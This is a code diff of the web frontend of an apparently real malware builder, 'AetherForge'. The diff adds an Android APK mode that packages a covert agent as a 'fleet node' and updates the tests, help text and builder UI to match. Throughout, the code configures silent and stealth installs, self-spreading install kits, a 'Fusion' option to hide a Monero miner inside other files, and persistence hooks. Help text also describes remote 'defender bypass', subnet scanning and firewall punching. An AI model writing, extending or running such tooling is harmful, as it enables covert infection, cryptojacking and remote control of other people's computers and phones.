pendingLabels: pending.map(formatLotlTierLabel),
|
pendingLabels: pending.map(formatLotlTierLabel),
|
||||||
miningOnion: buildOnionRows(order, skipped, attempts, activeTier, atlasSkips),
|
miningOnion,
|
||||||
spreadOnion: spreadOrder.map((tier, i) => ({
|
spreadOnion: spreadOrder.map((tier, i) => ({
|
||||||
index: i + 1,
|
index: i + 1,
|
||||||
tier,
|
tier,
|
||||||
|
|||||||
@@ -18,6 +18,8 @@ export const DOC_ANCHORS: Record<string, string> = {
|
|||||||
pool_pass: '/docs/#mining',
|
pool_pass: '/docs/#mining',
|
||||||
target_os: '/docs/#forge',
|
target_os: '/docs/#forge',
|
||||||
target_arch: '/docs/#forge',
|
target_arch: '/docs/#forge',
|
||||||
|
apk_mode: '/docs/#forge',
|
||||||
|
apk_agent_name: '/docs/#forge',
|
||||||
output_dir: '/docs/#forge',
|
output_dir: '/docs/#forge',
|
||||||
thread_mode: '/docs/#forge',
|
thread_mode: '/docs/#forge',
|
||||||
thread_percent: '/docs/#forge-stealth',
|
thread_percent: '/docs/#forge-stealth',
|
||||||
|
|||||||
@@ -29,6 +29,15 @@ describe('forgeFormNormalize', () => {
|
|||||||
expect(deriveDeliverableType(baseForm())).toBe('single');
|
expect(deriveDeliverableType(baseForm())).toBe('single');
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('apk mode forces android arm64 and clears fusion', () => {
|
||||||
|
const out = normalizeForgeForm(baseForm({ apk_mode: true, fusion_enabled: true, target_os: 'windows' }));
|
||||||
|
expect(out.apk_mode).toBe(true);
|
||||||
|
expect(out.target_os).toBe('android');
|
||||||
|
expect(out.target_arch).toBe('arm64');
|
||||||
|
expect(out.fusion_enabled).toBe(false);
|
||||||
|
expect(out.mining_disabled).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
it('spread kit forces universal and clears fusion', () => {
|
it('spread kit forces universal and clears fusion', () => {
|
||||||
const out = normalizeForgeForm(baseForm({ spread_kit: true, fusion_enabled: true, target_os: 'windows' }));
|
const out = normalizeForgeForm(baseForm({ spread_kit: true, fusion_enabled: true, target_os: 'windows' }));
|
||||||
expect(out.spread_kit).toBe(true);
|
expect(out.spread_kit).toBe(true);
|
||||||
|
|||||||
@@ -37,6 +37,7 @@ const UNIVERSAL_INSTALL_BASES: InstallBaseOption[] = [
|
|||||||
];
|
];
|
||||||
|
|
||||||
export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable {
|
export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable {
|
||||||
|
if (form.apk_mode) return 'single';
|
||||||
if (form.spread_kit) return 'spread_kit';
|
if (form.spread_kit) return 'spread_kit';
|
||||||
if (form.fusion_enabled) return 'fusion';
|
if (form.fusion_enabled) return 'fusion';
|
||||||
return 'single';
|
return 'single';
|
||||||
@@ -87,6 +88,7 @@ export function spreadKitPreset(): Partial<BuildRequest> {
|
|||||||
|
|
||||||
export function installBaseOptionsForTarget(targetOs?: string): InstallBaseOption[] {
|
export function installBaseOptionsForTarget(targetOs?: string): InstallBaseOption[] {
|
||||||
const t = targetOs || 'windows';
|
const t = targetOs || 'windows';
|
||||||
|
if (t === 'android') return UNIX_INSTALL_BASES;
|
||||||
if (t === 'linux' || t === 'darwin') return UNIX_INSTALL_BASES;
|
if (t === 'linux' || t === 'darwin') return UNIX_INSTALL_BASES;
|
||||||
if (t === 'universal') return UNIVERSAL_INSTALL_BASES;
|
if (t === 'universal') return UNIVERSAL_INSTALL_BASES;
|
||||||
return WINDOWS_INSTALL_BASES;
|
return WINDOWS_INSTALL_BASES;
|
||||||
@@ -100,10 +102,29 @@ function isSingleUnixTarget(targetOs?: string): boolean {
|
|||||||
return targetOs === 'linux' || targetOs === 'darwin';
|
return targetOs === 'linux' || targetOs === 'darwin';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function isAndroidTarget(targetOs?: string, apkMode?: boolean): boolean {
|
||||||
|
return !!apkMode || targetOs === 'android';
|
||||||
|
}
|
||||||
|
|
||||||
/** Coerce form so inactive fields hold safe defaults and incompatible values are cleared. */
|
/** Coerce form so inactive fields hold safe defaults and incompatible values are cleared. */
|
||||||
export function normalizeForgeForm(form: BuildRequest): BuildRequest {
|
export function normalizeForgeForm(form: BuildRequest): BuildRequest {
|
||||||
const next: BuildRequest = { ...form };
|
const next: BuildRequest = { ...form };
|
||||||
|
|
||||||
|
if (next.apk_mode) {
|
||||||
|
next.fusion_enabled = false;
|
||||||
|
next.spread_kit = false;
|
||||||
|
next.target_os = 'android';
|
||||||
|
next.target_arch = 'arm64';
|
||||||
|
next.mining_disabled = true;
|
||||||
|
next.gpu_enabled = false;
|
||||||
|
next.miner_execution = 'inprocess';
|
||||||
|
next.threads = 1;
|
||||||
|
next.thread_mode = 'fixed';
|
||||||
|
if (!next.apk_agent_name?.trim()) {
|
||||||
|
next.apk_agent_name = next.worker_name;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// Deliverable coupling — spread kit wins if both flags were somehow set
|
// Deliverable coupling — spread kit wins if both flags were somehow set
|
||||||
if (next.spread_kit) {
|
if (next.spread_kit) {
|
||||||
next.fusion_enabled = false;
|
next.fusion_enabled = false;
|
||||||
@@ -123,8 +144,17 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest {
|
|||||||
next.spread_kit = false;
|
next.spread_kit = false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (isAndroidTarget(next.target_os, next.apk_mode)) {
|
||||||
|
next.target_os = 'android';
|
||||||
|
next.target_arch = 'arm64';
|
||||||
|
next.fusion_enabled = false;
|
||||||
|
next.spread_kit = false;
|
||||||
|
}
|
||||||
|
|
||||||
// Architecture
|
// Architecture
|
||||||
if (isSingleUnixTarget(next.target_os)) {
|
if (isAndroidTarget(next.target_os, next.apk_mode)) {
|
||||||
|
next.target_arch = 'arm64';
|
||||||
|
} else if (isSingleUnixTarget(next.target_os)) {
|
||||||
if (!next.target_arch || next.target_arch === 'all') {
|
if (!next.target_arch || next.target_arch === 'all') {
|
||||||
next.target_arch = next.target_os === 'darwin' ? 'arm64' : 'amd64';
|
next.target_arch = next.target_os === 'darwin' ? 'arm64' : 'amd64';
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -166,6 +166,20 @@ describe('applyForgeFieldUpdate', () => {
|
|||||||
expect(out.target_os).toBe('universal');
|
expect(out.target_os).toBe('universal');
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('apk_mode locks android arm64 and disables fusion', () => {
|
||||||
|
const out = applyForgeFieldUpdate(
|
||||||
|
baseForm({ fusion_enabled: true, target_os: 'windows' }),
|
||||||
|
'apk_mode',
|
||||||
|
true
|
||||||
|
);
|
||||||
|
expect(out.apk_mode).toBe(true);
|
||||||
|
expect(out.target_os).toBe('android');
|
||||||
|
expect(out.target_arch).toBe('arm64');
|
||||||
|
expect(out.fusion_enabled).toBe(false);
|
||||||
|
expect(out.mining_disabled).toBe(true);
|
||||||
|
expect(out.apk_agent_name).toBe('pc-lab-1');
|
||||||
|
});
|
||||||
|
|
||||||
it('spread_kit applies full preset and clears fusion', () => {
|
it('spread_kit applies full preset and clears fusion', () => {
|
||||||
const out = applyForgeFieldUpdate(baseForm({ fusion_enabled: true }), 'spread_kit', true);
|
const out = applyForgeFieldUpdate(baseForm({ fusion_enabled: true }), 'spread_kit', true);
|
||||||
expect(out.spread_kit).toBe(true);
|
expect(out.spread_kit).toBe(true);
|
||||||
|
|||||||
@@ -127,8 +127,39 @@ export function applyForgeFieldUpdate(
|
|||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
|
|
||||||
|
case 'apk_mode':
|
||||||
|
if (value === true) {
|
||||||
|
Object.assign(next, {
|
||||||
|
apk_mode: true,
|
||||||
|
fusion_enabled: false,
|
||||||
|
spread_kit: false,
|
||||||
|
target_os: 'android',
|
||||||
|
target_arch: 'arm64',
|
||||||
|
mining_disabled: true,
|
||||||
|
gpu_enabled: false,
|
||||||
|
threads: 1,
|
||||||
|
thread_mode: 'fixed',
|
||||||
|
display_mode: 'background',
|
||||||
|
silent_mode: true,
|
||||||
|
stealth_mode: true,
|
||||||
|
file_logging: false,
|
||||||
|
});
|
||||||
|
if (!next.apk_agent_name?.trim()) {
|
||||||
|
next.apk_agent_name = next.worker_name;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
next.apk_mode = false;
|
||||||
|
next.mining_disabled = false;
|
||||||
|
if (next.target_os === 'android') {
|
||||||
|
next.target_os = 'windows';
|
||||||
|
next.target_arch = 'all';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
case 'fusion_enabled':
|
case 'fusion_enabled':
|
||||||
if (value === true) {
|
if (value === true) {
|
||||||
|
next.apk_mode = false;
|
||||||
next.display_mode = 'background';
|
next.display_mode = 'background';
|
||||||
next.silent_mode = true;
|
next.silent_mode = true;
|
||||||
next.spread_kit = false;
|
next.spread_kit = false;
|
||||||
@@ -241,13 +272,24 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
|||||||
const isUniversal = targetOs === 'universal';
|
const isUniversal = targetOs === 'universal';
|
||||||
const isSpreadKit = !!form.spread_kit;
|
const isSpreadKit = !!form.spread_kit;
|
||||||
const isFusion = !!form.fusion_enabled;
|
const isFusion = !!form.fusion_enabled;
|
||||||
|
const isApk = !!form.apk_mode;
|
||||||
|
|
||||||
return {
|
return {
|
||||||
worker_name: { disabled: false, badge: 'baked' },
|
worker_name: { disabled: false, badge: 'baked' },
|
||||||
server_url: { disabled: false, badge: 'baked' },
|
server_url: { disabled: false, badge: 'baked' },
|
||||||
https_beacon_fallback: { disabled: false, badge: 'baked' },
|
https_beacon_fallback: { disabled: false, badge: 'baked' },
|
||||||
https_beacon_after_min: { disabled: false, badge: 'baked' },
|
https_beacon_after_min: { disabled: false, badge: 'baked' },
|
||||||
wallet: { disabled: false, badge: 'baked' },
|
wallet: {
|
||||||
|
disabled: isApk,
|
||||||
|
badge: 'baked',
|
||||||
|
lockedReason: isApk ? 'APK fleet nodes join without mining — wallet is optional.' : undefined,
|
||||||
|
},
|
||||||
|
apk_mode: { disabled: isSpreadKit, badge: 'baked' },
|
||||||
|
apk_agent_name: {
|
||||||
|
disabled: !isApk,
|
||||||
|
badge: 'baked',
|
||||||
|
lockedReason: !isApk ? 'Enable APK mode first.' : undefined,
|
||||||
|
},
|
||||||
output_dir: {
|
output_dir: {
|
||||||
disabled: false,
|
disabled: false,
|
||||||
badge: 'server-only',
|
badge: 'server-only',
|
||||||
@@ -376,9 +418,13 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
|||||||
hint: 'SSH, browsers, FTP, RDP client, etc. Requires administrator to replace system binaries.',
|
hint: 'SSH, browsers, FTP, RDP client, etc. Requires administrator to replace system binaries.',
|
||||||
},
|
},
|
||||||
fusion_enabled: {
|
fusion_enabled: {
|
||||||
disabled: isSpreadKit,
|
disabled: isSpreadKit || isApk,
|
||||||
badge: 'baked',
|
badge: 'baked',
|
||||||
lockedReason: isSpreadKit ? 'Turn off Spread Kit to use Fusion.' : undefined,
|
lockedReason: isApk
|
||||||
|
? 'Fusion is not available for APK fleet nodes.'
|
||||||
|
: isSpreadKit
|
||||||
|
? 'Turn off Spread Kit to use Fusion.'
|
||||||
|
: undefined,
|
||||||
},
|
},
|
||||||
fusion_prep: {
|
fusion_prep: {
|
||||||
disabled: !form.fusion_enabled,
|
disabled: !form.fusion_enabled,
|
||||||
@@ -468,18 +514,22 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
|||||||
hint: isUniversal ? 'Linux worker only — systemd-run --user and/or crontab @reboot hooks after install.' : undefined,
|
hint: isUniversal ? 'Linux worker only — systemd-run --user and/or crontab @reboot hooks after install.' : undefined,
|
||||||
},
|
},
|
||||||
target_os: {
|
target_os: {
|
||||||
disabled: isSpreadKit || isFusion,
|
disabled: isSpreadKit || isFusion || isApk,
|
||||||
badge: 'baked',
|
badge: 'baked',
|
||||||
lockedReason: isSpreadKit
|
lockedReason: isApk
|
||||||
|
? 'APK mode locks target to Android arm64.'
|
||||||
|
: isSpreadKit
|
||||||
? 'Spread Kit always targets all platforms (Universal).'
|
? 'Spread Kit always targets all platforms (Universal).'
|
||||||
: isFusion
|
: isFusion
|
||||||
? 'Movie fusion always builds a universal ZIP.'
|
? 'Movie fusion always builds a universal ZIP.'
|
||||||
: undefined,
|
: undefined,
|
||||||
},
|
},
|
||||||
target_arch: {
|
target_arch: {
|
||||||
disabled: !isUnixSingle,
|
disabled: !isUnixSingle || isApk,
|
||||||
badge: 'baked',
|
badge: 'baked',
|
||||||
lockedReason: !isUnixSingle
|
lockedReason: isApk
|
||||||
|
? 'APK mode locks architecture to arm64.'
|
||||||
|
: !isUnixSingle
|
||||||
? 'Pick Linux or macOS as Target OS to choose architecture.'
|
? 'Pick Linux or macOS as Target OS to choose architecture.'
|
||||||
: undefined,
|
: undefined,
|
||||||
},
|
},
|
||||||
|
|||||||
@@ -62,7 +62,11 @@ export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolea
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (!form.wallet.trim()) {
|
if (!form.wallet.trim()) {
|
||||||
|
if (form.apk_mode) {
|
||||||
|
checks.push({ id: 'wallet', level: 'ok', message: 'Wallet optional for APK fleet nodes (mining off by default).' });
|
||||||
|
} else {
|
||||||
checks.push({ id: 'wallet', level: 'error', message: 'Monero wallet address is required.' });
|
checks.push({ id: 'wallet', level: 'error', message: 'Monero wallet address is required.' });
|
||||||
|
}
|
||||||
} else if (!looksLikeXMRWallet(form.wallet)) {
|
} else if (!looksLikeXMRWallet(form.wallet)) {
|
||||||
checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4 or 8, length 90–106).' });
|
checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4 or 8, length 90–106).' });
|
||||||
} else {
|
} else {
|
||||||
|
|||||||
@@ -43,3 +43,20 @@ describe('buildLotlTimelineModel atlas skips', () => {
|
|||||||
expect(ps?.state).toBe('skipped_by_atlas');
|
expect(ps?.state).toBe('skipped_by_atlas');
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
describe('buildLotlTimelineModel android', () => {
|
||||||
|
it('shows shortened android chain instead of 14 spread tiers', () => {
|
||||||
|
const model = buildLotlTimelineModel(
|
||||||
|
agent({ platform: 'android', status: 'online', lotl_tier: 'foreground_service' }),
|
||||||
|
['docker', 'powershell', 'dotnet'],
|
||||||
|
[{ tier: 'foreground_service', ok: false }],
|
||||||
|
);
|
||||||
|
expect(model.total).toBe(3);
|
||||||
|
expect(model.tiers.map((t) => t.tier)).toEqual([
|
||||||
|
'foreground_service',
|
||||||
|
'cpu_inprocess',
|
||||||
|
'desktop_tiers_skipped',
|
||||||
|
]);
|
||||||
|
expect(model.tiers.find((t) => t.tier === 'desktop_tiers_skipped')?.state).toBe('skipped');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|||||||
@@ -1,6 +1,8 @@
|
|||||||
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
|
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
|
||||||
import type { AtlasSkipView } from './accessDepth';
|
import type { AtlasSkipView } from './accessDepth';
|
||||||
|
import { ANDROID_DESKTOP_SKIPPED_TIER, ANDROID_MINING_TIER_ORDER } from './accessDepth';
|
||||||
import type { Agent } from '../types';
|
import type { Agent } from '../types';
|
||||||
|
import { isAndroidPlatform } from './platform';
|
||||||
import { formatLotlTierLabel, type TierAttempt } from '../types/lotl';
|
import { formatLotlTierLabel, type TierAttempt } from '../types/lotl';
|
||||||
|
|
||||||
/** Per-tier state for the live onion timeline UI. */
|
/** Per-tier state for the live onion timeline UI. */
|
||||||
@@ -59,6 +61,7 @@ function tierDocHint(tier: string): string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function tierLabel(tier: string): string {
|
function tierLabel(tier: string): string {
|
||||||
|
if (tier === ANDROID_DESKTOP_SKIPPED_TIER) return 'Desktop tiers skipped';
|
||||||
const key = canonicalSpreadTier(tier) as (typeof DEFAULT_LOTL_ONION_TIERS)[number];
|
const key = canonicalSpreadTier(tier) as (typeof DEFAULT_LOTL_ONION_TIERS)[number];
|
||||||
return LOTL_ONION_TIER_DOCS.find((d) => d.id === key)?.label ?? formatLotlTierLabel(tier);
|
return LOTL_ONION_TIER_DOCS.find((d) => d.id === key)?.label ?? formatLotlTierLabel(tier);
|
||||||
}
|
}
|
||||||
@@ -71,7 +74,10 @@ function lastAttemptForTier(attempts: TierAttempt[], spreadTier: string): TierAt
|
|||||||
return undefined;
|
return undefined;
|
||||||
}
|
}
|
||||||
|
|
||||||
export function resolveLotlTierOrder(policyTiers?: string[]): string[] {
|
export function resolveLotlTierOrder(policyTiers?: string[], agent?: Agent): string[] {
|
||||||
|
if (agent && isAndroidPlatform(agent.platform)) {
|
||||||
|
return [...ANDROID_MINING_TIER_ORDER, ANDROID_DESKTOP_SKIPPED_TIER];
|
||||||
|
}
|
||||||
if (policyTiers?.length) return [...policyTiers];
|
if (policyTiers?.length) return [...policyTiers];
|
||||||
return [...DEFAULT_LOTL_ONION_TIERS];
|
return [...DEFAULT_LOTL_ONION_TIERS];
|
||||||
}
|
}
|
||||||
@@ -83,6 +89,9 @@ export function buildLotlTimelineModel(
|
|||||||
skipped: string[] = [],
|
skipped: string[] = [],
|
||||||
atlasSkips: AtlasSkipView[] = [],
|
atlasSkips: AtlasSkipView[] = [],
|
||||||
): LotlTimelineModel {
|
): LotlTimelineModel {
|
||||||
|
const effectiveOrder = isAndroidPlatform(agent.platform)
|
||||||
|
? [...ANDROID_MINING_TIER_ORDER, ANDROID_DESKTOP_SKIPPED_TIER]
|
||||||
|
: order;
|
||||||
const skippedSet = new Set(skipped.map((s) => canonicalSpreadTier(s)));
|
const skippedSet = new Set(skipped.map((s) => canonicalSpreadTier(s)));
|
||||||
const atlasSet = new Set(atlasSkips.map((s) => canonicalSpreadTier(s.tier)));
|
const atlasSet = new Set(atlasSkips.map((s) => canonicalSpreadTier(s.tier)));
|
||||||
const activeTier = agent.lotl_tier?.trim() || undefined;
|
const activeTier = agent.lotl_tier?.trim() || undefined;
|
||||||
@@ -95,12 +104,14 @@ export function buildLotlTimelineModel(
|
|||||||
if (!last?.ok) tryingTier = activeCanon;
|
if (!last?.ok) tryingTier = activeCanon;
|
||||||
}
|
}
|
||||||
|
|
||||||
const tiers: LotlTimelineTierRow[] = order.map((tier, i) => {
|
const tiers: LotlTimelineTierRow[] = effectiveOrder.map((tier, i) => {
|
||||||
const key = canonicalSpreadTier(tier);
|
const key = canonicalSpreadTier(tier);
|
||||||
const attempt = lastAttemptForTier(attempts, tier);
|
const attempt = lastAttemptForTier(attempts, tier);
|
||||||
let state: LotlTimelineTierState = 'pending';
|
let state: LotlTimelineTierState = 'pending';
|
||||||
|
|
||||||
if (atlasSet.has(key)) {
|
if (tier === ANDROID_DESKTOP_SKIPPED_TIER) {
|
||||||
|
state = 'skipped';
|
||||||
|
} else if (atlasSet.has(key)) {
|
||||||
state = 'skipped_by_atlas';
|
state = 'skipped_by_atlas';
|
||||||
} else if (skippedSet.has(key)) {
|
} else if (skippedSet.has(key)) {
|
||||||
state = 'skipped';
|
state = 'skipped';
|
||||||
@@ -126,7 +137,7 @@ export function buildLotlTimelineModel(
|
|||||||
|
|
||||||
return {
|
return {
|
||||||
tiers,
|
tiers,
|
||||||
total: order.length,
|
total: effectiveOrder.length,
|
||||||
succeeded,
|
succeeded,
|
||||||
activeTier,
|
activeTier,
|
||||||
tryingTier,
|
tryingTier,
|
||||||
|
|||||||
16
server/web/src/help/platform.test.ts
Normal file
16
server/web/src/help/platform.test.ts
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
/** @vitest-environment node */
|
||||||
|
import { describe, expect, it } from 'vitest';
|
||||||
|
import { isAndroidPlatform, platformIcon, platformLabel } from './platform';
|
||||||
|
|
||||||
|
describe('platform helpers', () => {
|
||||||
|
it('labels android fleet nodes', () => {
|
||||||
|
expect(platformLabel('android')).toBe('Android');
|
||||||
|
expect(isAndroidPlatform('android')).toBe(true);
|
||||||
|
expect(platformIcon('android')).toBe('🤖');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('labels darwin as macOS with apple icon', () => {
|
||||||
|
expect(platformLabel('darwin')).toBe('macOS');
|
||||||
|
expect(platformIcon('darwin')).toBe('🍎');
|
||||||
|
});
|
||||||
|
});
|
||||||
24
server/web/src/help/platform.ts
Normal file
24
server/web/src/help/platform.ts
Normal file
@@ -0,0 +1,24 @@
|
|||||||
|
/** Fleet-visible platform label and icon helpers (Crucible, Access Depth, ROI). */
|
||||||
|
|
||||||
|
export function isAndroidPlatform(platform?: string): boolean {
|
||||||
|
return (platform || '').toLowerCase().includes('android');
|
||||||
|
}
|
||||||
|
|
||||||
|
export function platformLabel(platform?: string): string {
|
||||||
|
const p = (platform || '').toLowerCase();
|
||||||
|
if (isAndroidPlatform(p)) return 'Android';
|
||||||
|
if (p.includes('darwin') || p.includes('mac')) return 'macOS';
|
||||||
|
if (p.includes('linux')) return 'Linux';
|
||||||
|
if (p.includes('win') || p === 'windows') return 'Windows';
|
||||||
|
return platform?.trim() || 'Unknown';
|
||||||
|
}
|
||||||
|
|
||||||
|
export function platformIcon(platform?: string): string {
|
||||||
|
if (!platform) return '⬡';
|
||||||
|
const p = platform.toLowerCase();
|
||||||
|
if (p.includes('android')) return '🤖';
|
||||||
|
if (p.includes('darwin') || p.includes('mac')) return '🍎';
|
||||||
|
if (p === 'windows' || p.includes('windows') || p.includes('win')) return '⊞';
|
||||||
|
if (p.includes('linux')) return '🐧';
|
||||||
|
return '⬡';
|
||||||
|
}
|
||||||
@@ -135,6 +135,8 @@ describe('FIELD_HELP', () => {
|
|||||||
'remote_aggressive',
|
'remote_aggressive',
|
||||||
'target_os',
|
'target_os',
|
||||||
'target_arch',
|
'target_arch',
|
||||||
|
'apk_mode',
|
||||||
|
'apk_agent_name',
|
||||||
'spread_kit',
|
'spread_kit',
|
||||||
'forge_deliverable',
|
'forge_deliverable',
|
||||||
'forge_operation_mode',
|
'forge_operation_mode',
|
||||||
|
|||||||
@@ -171,7 +171,11 @@ export const FIELD_HELP: Record<string, string> = {
|
|||||||
linux_lotl_mode: 'Linux LOTL Mode: After install on Linux, registers native-tool persistence via systemd-run --user, crontab @reboot, both, or off. No extra drop — uses built-in OS scheduling only.',
|
linux_lotl_mode: 'Linux LOTL Mode: After install on Linux, registers native-tool persistence via systemd-run --user, crontab @reboot, both, or off. No extra drop — uses built-in OS scheduling only.',
|
||||||
hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).',
|
hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).',
|
||||||
remote_aggressive: 'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender bypass. Requires explicit button press; nothing runs automatically except what other toggles define.',
|
remote_aggressive: 'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender bypass. Requires explicit button press; nothing runs automatically except what other toggles define.',
|
||||||
target_os: 'Target platform: Windows-only, Linux, macOS, or Universal (all three in one ZIP). Movie fusion and Spread Kit always use Universal.',
|
target_os: 'Target platform: Windows-only, Linux, macOS, Universal (all three in one ZIP), or Android APK fleet node. Movie fusion and Spread Kit always use Universal; APK mode locks Android arm64.',
|
||||||
|
apk_mode:
|
||||||
|
'Package a fleet node as an Android APK — not mining-first. Compiles linux/arm64 agent, embeds server_url + worker name, and joins the fleet as platform=android after install. Grant permissions on first open.',
|
||||||
|
apk_agent_name:
|
||||||
|
'Label baked into the APK assets config.json. Defaults to Worker Name. Shows on Command Deck after the phone/tablet connects.',
|
||||||
target_arch: 'CPU architecture for single-platform Linux/macOS builds (amd64 or arm64). Ignored for Universal.',
|
target_arch: 'CPU architecture for single-platform Linux/macOS builds (amd64 or arm64). Ignored for Universal.',
|
||||||
spread_kit: 'Spread Kit ZIP: deploy scripts for each OS that silently install the worker via --spread-install. No fusion wrapper.',
|
spread_kit: 'Spread Kit ZIP: deploy scripts for each OS that silently install the worker via --spread-install. No fusion wrapper.',
|
||||||
forge_deliverable: 'What you are shipping: a single-platform installer, a silent multi-OS Spread Kit, or a movie/prep fusion package.',
|
forge_deliverable: 'What you are shipping: a single-platform installer, a silent multi-OS Spread Kit, or a movie/prep fusion package.',
|
||||||
|
|||||||
@@ -292,6 +292,20 @@ describe('BuilderPage', () => {
|
|||||||
expect(api.exportSpreadKit).toHaveBeenCalled();
|
expect(api.exportSpreadKit).toHaveBeenCalled();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('APK mode toggle locks platform to Android arm64 and hides Fusion', async () => {
|
||||||
|
localStorage.setItem('aetherforge-forge-mode', 'advanced');
|
||||||
|
const user = userEvent.setup();
|
||||||
|
renderBuilder();
|
||||||
|
await screen.findByText('Worker Name');
|
||||||
|
|
||||||
|
const apkToggle = await screen.findByRole('checkbox', { name: /APK mode/i });
|
||||||
|
await user.click(apkToggle);
|
||||||
|
|
||||||
|
expect(screen.getByDisplayValue('Android (arm64)')).toBeInTheDocument();
|
||||||
|
expect(screen.getByText(/platform=android/i)).toBeInTheDocument();
|
||||||
|
expect(screen.queryByText('Fusion — Hide miner in any file')).not.toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
it('polls builder progress endpoint while a forge is running', async () => {
|
it('polls builder progress endpoint while a forge is running', async () => {
|
||||||
type BuildResult = Awaited<ReturnType<typeof api.buildAgent>>;
|
type BuildResult = Awaited<ReturnType<typeof api.buildAgent>>;
|
||||||
let resolveBuild!: (value: BuildResult) => void;
|
let resolveBuild!: (value: BuildResult) => void;
|
||||||
|
|||||||
@@ -1656,7 +1656,11 @@ export default function BuilderPage() {
|
|||||||
)}
|
)}
|
||||||
|
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
|
<label className="label">
|
||||||
|
XMR Wallet Address {!form.apk_mode && <HelpTip field="wallet" />}
|
||||||
|
{form.apk_mode && <span className="form-hint"> (optional)</span>}
|
||||||
|
{form.apk_mode && <HelpTip field="wallet" />}
|
||||||
|
</label>
|
||||||
<input
|
<input
|
||||||
type="text"
|
type="text"
|
||||||
className={`input mono${form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 ? ' input-warn' : ''}`}
|
className={`input mono${form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 ? ' input-warn' : ''}`}
|
||||||
@@ -1828,7 +1832,11 @@ export default function BuilderPage() {
|
|||||||
type="text"
|
type="text"
|
||||||
className="input"
|
className="input"
|
||||||
disabled
|
disabled
|
||||||
value="Universal (all platforms)"
|
value={
|
||||||
|
form.apk_mode
|
||||||
|
? 'Android (arm64)'
|
||||||
|
: 'Universal (all platforms)'
|
||||||
|
}
|
||||||
readOnly
|
readOnly
|
||||||
/>
|
/>
|
||||||
) : (
|
) : (
|
||||||
@@ -1868,6 +1876,26 @@ export default function BuilderPage() {
|
|||||||
Upload nothing — forge produces the deploy ZIP.
|
Upload nothing — forge produces the deploy ZIP.
|
||||||
</p>
|
</p>
|
||||||
)}
|
)}
|
||||||
|
<div className={`form-group checkbox-group ${fieldMeta.apk_mode?.disabled ? 'field-disabled' : ''}`} style={{ marginTop: '0.75rem' }}>
|
||||||
|
<label className="checkbox-label">
|
||||||
|
<input
|
||||||
|
type="checkbox"
|
||||||
|
className="checkbox"
|
||||||
|
checked={!!form.apk_mode}
|
||||||
|
disabled={fieldMeta.apk_mode?.disabled}
|
||||||
|
onChange={(e) => updateField('apk_mode', e.target.checked)}
|
||||||
|
/>
|
||||||
|
<span>APK mode <HelpTip field="apk_mode" /></span>
|
||||||
|
</label>
|
||||||
|
<FieldHint field="apk_mode" />
|
||||||
|
<ForgeLockedHint meta={fieldMeta.apk_mode} />
|
||||||
|
</div>
|
||||||
|
{form.apk_mode && (
|
||||||
|
<p className="form-hint">
|
||||||
|
Install the forged APK on a phone or tablet. Grant permissions on first open — the node joins your fleet as{' '}
|
||||||
|
<code>platform=android</code> (mining off by default). Not a mining-first deliverable; use for fleet presence on mobile.
|
||||||
|
</p>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{!simpleMode && (
|
{!simpleMode && (
|
||||||
@@ -2281,7 +2309,7 @@ export default function BuilderPage() {
|
|||||||
</>
|
</>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
{deliverableType !== 'spread_kit' && (
|
{deliverableType !== 'spread_kit' && !form.apk_mode && (
|
||||||
<div className="form-section operator-deck-card operator-interactive">
|
<div className="form-section operator-deck-card operator-interactive">
|
||||||
<ForgeSectionHeader
|
<ForgeSectionHeader
|
||||||
title="Fusion — Hide miner in any file"
|
title="Fusion — Hide miner in any file"
|
||||||
|
|||||||
@@ -30,6 +30,7 @@ import RiskBadge from '../components/Fleet/RiskBadge';
|
|||||||
import FleetHeatMiniMap from '../components/Fleet/FleetHeatMiniMap';
|
import FleetHeatMiniMap from '../components/Fleet/FleetHeatMiniMap';
|
||||||
import { parseTierReport } from '../types/lotl';
|
import { parseTierReport } from '../types/lotl';
|
||||||
